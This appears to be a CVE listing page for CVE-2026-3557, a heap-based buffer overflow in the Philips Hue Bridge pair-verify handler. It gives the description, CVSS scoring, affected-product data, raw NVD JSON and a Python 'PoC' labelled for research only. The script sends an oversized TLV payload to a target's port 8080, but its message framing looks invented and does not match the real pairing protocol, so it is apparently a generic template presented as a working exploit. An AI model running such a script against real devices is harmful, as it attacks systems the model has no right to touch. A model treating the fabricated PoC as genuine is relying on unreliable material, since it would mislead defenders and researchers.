Security Vulnerability Report
中文
CVE-2026-3557 CVSS 8.0 HIGH

CVE-2026-3557

Published: 2026-03-16 14:19:49
Last Modified: 2026-04-27 14:50:38

Description

Philips Hue Bridge hap_pair_verify_handler Sub-TLV Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the hap_pair_verify_handler function of the hk_hap service, which listens on TCP port 8080 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-28337.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
Philips Hue Bridge (固件版本 < 最新安全更新版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-3557 PoC - Philips Hue Bridge hap_pair_verify_handler Heap Overflow # This PoC demonstrates the heap buffer overflow in Sub-TLV parsing import socket import struct import sys def create_malicious_tlv(): """Create malicious Sub-TLV data with oversized length field""" # TLV type for pair verify tlv_type = 0x06 # Intentionally oversized length to trigger heap overflow oversized_length = 0x1000 # Malicious payload to overwrite heap metadata payload = b'A' * oversized_length # Construct TLV structure tlv_data = struct.pack('!BH', tlv_type, oversized_length) + payload return tlv_data def send_exploit(target_ip, port=8080): """Send exploit payload to Philips Hue Bridge""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # HAP pairing verification request request = b'PAIR_VERIFY\x00' request += create_malicious_tlv() sock.send(request) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 print(f"[*] Targeting {target}:{port}") print(f"[*] Sending exploit payload...") result = send_exploit(target, port) if result: print(f"[+] Response received: {result.hex()}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3557", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:48.837", "lastModified": "2026-04-27T14:50:37.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Philips Hue Bridge hap_pair_verify_handler Sub-TLV Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Philips Hue Bridge. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the hap_pair_verify_handler function of the hk_hap service, which listens on TCP port 8080 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-28337."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en el análisis de Sub-TLV de hap_pair_verify_handler de Philips Hue Bridge. Esta vulnerabilidad permite a atacantes adyacentes a la red ejecutar código arbitrario en instalaciones afectadas de Philips Hue Bridge. Aunque se requiere autenticación para explotar esta vulnerabilidad, el mecanismo de autenticación existente puede ser eludido.\n\nLa falla específica existe dentro de la función hap_pair_verify_handler del servicio hk_hap, que escucha en el puerto TCP 8080 por defecto. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de root. Fue ZDI-CAN-28337."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:philips:hue_bridge_v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1975170000", "matchCriteriaId": "C4C925A5-D9FB-482D-A98D-F879B1BD21EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:philips:hue_bridge_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "55B37D18-3A59-423E-9D73-F80DFDB14C4D"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-155/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}